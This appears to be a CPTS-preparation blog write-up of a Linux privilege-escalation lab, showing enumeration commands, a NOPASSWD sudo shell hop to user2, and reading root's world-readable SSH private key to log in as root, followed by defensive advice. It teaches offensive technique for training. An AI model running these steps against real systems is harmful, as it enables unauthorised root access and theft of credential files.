November 23, 2026
CPTS Module 1 · Getting Started: Privilege Escalation
Privilege escalation is the step where a foothold turns into a compromise. This section of the Getting Started module puts you on a Linux…
By BloodHound
4 min read
Privilege escalation is the step where a foothold turns into a compromise. This section of the Getting Started module puts you on a Linux box as an ordinary user and asks for root. It never needs an exploit: two configuration mistakes, found by checking the same handful of places every time, are enough.
By the end you will have a repeatable enumeration order, a feel for what a useless result looks like, and an example of a file-permission slip being as good as a sudo rule.
The lab at a glance
- You start with SSH access as a low-privileged user,
user1. - There are two hops:
user1touser2, thenuser2toroot. - The target address, port and starting credentials are issued per lab spawn, so they appear here as
<TARGET>and<PORT>.
What you are looking for
Check these in order of cost and noise, cheapest first:
- Sudo rights: what can this user run, as whom, and does it ask for a password?
- SUID binaries: programs that run as their owner whoever starts them.
- Capabilities: narrower privileges attached to individual binaries.
- Scheduled jobs: anything cron runs that you can write to.
- Group membership: privileged groups hand out access without any exploit.
- Ownership and permissions: especially around privileged home directories.
- OS and kernel version: last, because kernel exploits are the loudest and can crash the box.
Hop 1: user1 to user2 by reading the sudo rules
After connecting, the first two commands on any new foothold are the same: confirm who you are, then ask sudo what you are allowed to do.
ssh user1@<TARGET> -p <PORT>
id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
sudo -l
User user1 may run the following commands on <host>:
(user2 : user2) NOPASSWD: /bin/bashssh user1@<TARGET> -p <PORT>
id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
sudo -l
User user1 may run the following commands on <host>:
(user2 : user2) NOPASSWD: /bin/bashRead that last line from left to right. The parentheses name the user and group the command runs as, NOPASSWD means no password is asked, and the path is the command itself. So user1 may start a bash shell as user2 without proving anything.
sudo -u user2 /bin/bash
id
uid=1001(user2) gid=1001(user2) groups=1001(user2)sudo -u user2 /bin/bash
id
uid=1001(user2) gid=1001(user2) groups=1001(user2)This hop moves you sideways rather than up. It matters because the next account may have access yours does not.
Hop 2: user2 to root, starting with what comes back empty
Running the standard checks as user2 found nothing, and that is worth recording rather than skipping past.
sudo -l # asks for a password, no NOPASSWD entries
find / -perm -4000 -type f 2>/dev/null # only the standard SUID binaries
getcap -r / 2>/dev/null # no interesting capabilities
crontab -l ; cat /etc/crontab # nothing writable or exploitable
ls -la /etc/sudoers.d/ # not readable
groups # no privileged groupssudo -l # asks for a password, no NOPASSWD entries
find / -perm -4000 -type f 2>/dev/null # only the standard SUID binaries
getcap -r / 2>/dev/null # no interesting capabilities
crontab -l ; cat /etc/crontab # nothing writable or exploitable
ls -la /etc/sudoers.d/ # not readable
groups # no privileged groupsWriting down the negatives stops you repeating them an hour later, and they belong in a report as evidence of what was tested. Only then does the version check make sense:
uname -a
cat /etc/os-releaseuname -a
cat /etc/os-releaseThe box ran Ubuntu 20.04.1. Nothing pointed to a kernel exploit as the intended route, and with a simpler path still unchecked, a kernel exploit was not worth the risk.
The mistake hiding in /root
With the usual vectors empty, the next place to look is ownership around privileged directories. Listing root's home directory gave this:
ls -la /root
drwxr-x---. 1 root user2 18 Feb 12 2021 .
-rwxr-x---. 1 root user2 … .bash_history
-rwxr-x---. 1 root user2 … .bashrc
drwxr-x---. 1 root user2 20 Feb 12 2021 .sshls -la /root
drwxr-x---. 1 root user2 18 Feb 12 2021 .
-rwxr-x---. 1 root user2 … .bash_history
-rwxr-x---. 1 root user2 … .bashrc
drwxr-x---. 1 root user2 20 Feb 12 2021 .sshThe group on /root is user2, with read and execute. That means user2 can list the directory and walk into it, even though it is not root. The next question is what is reachable inside, starting with the SSH directory:
ls -la /root/.ssh/
-rw-------. 1 root root 571 authorized_keys
-rw-r--r--. 1 root root 2602 id_rsa
-rw-r--r--. 1 root root 571 id_rsa.publs -la /root/.ssh/
-rw-------. 1 root root 571 authorized_keys
-rw-r--r--. 1 root root 2602 id_rsa
-rw-r--r--. 1 root root 571 id_rsa.pubThe private key, id_rsa, is mode 644, so anyone who can reach the file can read it. Group access to the directory is what makes it reachable. Neither mistake alone gets you root, and together they hand over the key.
Read the key, save it on your own machine as root_id_rsa, tighten its permissions so SSH will accept it, and log in:
cat /root/.ssh/id_rsa
chmod 600 root_id_rsa
ssh -i root_id_rsa -p <PORT> root@<TARGET>
id
uid=0(root) gid=0(root) groups=0(root)cat /root/.ssh/id_rsa
chmod 600 root_id_rsa
ssh -i root_id_rsa -p <PORT> root@<TARGET>
id
uid=0(root) gid=0(root) groups=0(root)How this is defended
- Scope sudo rules to exact commands. Never grant a shell, or any binary that can spawn one, with
NOPASSWD. Review each account withsudo -l -U <user>as root. - Lock down root's home. Mode 700 on
/root, and private keys at 600 or 400. A key that is world-readable is only as safe as the directory around it. - Log and alert on the signs. Sudo records the invoking user, the target user and the command, so a shell started through
sudo -ushows up as a bash command run as another user. An auditd watch such as-w /root/.ssh -p rflags reads of root's keys, and a root login by key from an unfamiliar source stands out in the SSH log.
Gotchas
- SSH refuses loose keys. A private key with open permissions is rejected with an unprotected-key warning until you
chmod 600it. - Copying a key can mangle it. Keep the BEGIN and END lines and a trailing newline, or SSH reports an invalid format.
- A password prompt from
sudo -lis not a result. It tells you rules may exist, but without that user's password you learn nothing more. - Directory permissions gate everything inside. A readable file in a directory you cannot enter is unreachable, so check the directory before the file.
- Leave the kernel for last. It is the noisiest option and the one most likely to take the machine down.
Commands used
sudo -l: what you may run, as whom, and whether it needs a passwordsudo -u <user> /bin/bash: start a shell as another userfind / -perm -4000 -type f: list SUID binariesgetcap -r /: list file capabilitiescrontab -land/etc/crontab: list scheduled jobsls -la <dir>: read ownership and permissionsssh -i <key>: log in with a private key
This is one section of Module 1 in my CPTS preparation. The rest of the path is collected in CPTS Prep: Full Path.